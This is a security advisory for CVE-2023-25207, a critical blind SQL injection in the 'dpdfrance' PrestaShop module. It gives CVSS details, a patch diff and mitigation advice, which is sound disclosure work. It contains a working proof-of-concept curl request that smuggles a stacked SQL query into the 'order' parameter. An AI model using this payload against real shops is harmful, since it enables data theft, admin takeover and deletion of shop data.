In the module “DPD France” (dpdfrance) for PrestaShop, a remote attaker can perform a blind SQL injection in affected versions. Release 6.1.3 fixed vulnerabilities.


  • CVE ID: CVE-2023-25207
  • Published at: 2023-03-09
  • Advisory source:
  • Platform: PrestaShop
  • Product: dpdfrance
  • Impacted release: < 6.1.3
  • Product author: DPD France SAS
  • Weakness: CWE-89
  • Severity: critical (9.8)


In dpdfrance module for PrestaShop up to 6.1.3, multiple sensitives SQL calls in method dpdfrance::ajaxSetAddressOrder() can be executed with a trivial http call and exploited to forge a bind SQL injection.

CVSS base metrics

  • Attack vector: network
  • Attack complexity: low
  • Privilege required: none
  • User interaction: none
  • Scope: unchanged
  • Confidentiality: high
  • Integrity: high
  • Availability: high

Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Possible malicious usage

  • Technical and personal data leaks
  • Obtain admin access
  • Remove all data of the linked PrestaShop
  • Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem

Proof of concept

curl -v -X POST -d 'action_ajax_dpdfrance=setAddressOrder&order=1%27;select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--' 'https://domain.tld/modules/dpdfrance/ajax.php?dpdfrance_token=EXPOSED_TOKEN_ON_FRONT_OFFICE'


--- a/dpdfrance/dpdfrance.php
+++ b/dpdfrance/dpdfrance.php
@@ -977,7 +977,7 @@ class DPDFrance extends CarrierModule
     public function ajaxSetAddressOrder($param)
         $dpdOrder = $this->getDpdOrder($param['order']);
-        $sql      = "UPDATE " . _DB_PREFIX_ . "dpdfrance_order SET override_return_street = '" . (string)$param['street'] . "', override_return_zip = '" . (string)$param['zip'] . "', override_return_city = '" . (string)$param['city'] . "', override_return_phone = '" . (string)$param['phone'] . "' WHERE id_order_dpd = '" . $param['order'] . "';";
+        $sql      = "UPDATE " . _DB_PREFIX_ . "dpdfrance_order SET override_return_street = '" . pSQL($param['street']) . "', override_return_zip = '" . pSQL($param['zip']) . "', override_return_city = '" . pSQL($param['city']) . "', override_return_phone = '" . pSQL($param['phone']) . "' WHERE id_order_dpd = '" . pSQL($param['order']) . "';";
         $response = ['update' => true];
         $response = json_encode($response);

Other recommendations

WARNING Be aware that the version 6.1.3 come with a new sensible problem so you must stay in alert to apply without delay future versions.

  • It’s recommended to upgrade the module beyond 6.1.3.
  • For PrestaShop 1.6, you need to apply the patch manually.
  • To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this will not protect your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against Stored XSS (also known as XSS T2) of Category 1. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.
  • Change the default database prefix ps_ by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS
  • Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.


Date Action
2022-12-05 Issue discovered during a code review by 202 Ecommerce and TouchWeb
2022-12-05 Contact the author
2022-12-20 Never received a response from the author
2022-12-20 Contact PrestaShop Addons Team
2023-01-27 Fix published on addons PrestaShop marketplace for PrestaShop 1.7+ only
2023-01-28 Request a CVE ID
2023-03-09 Publication of this security advisory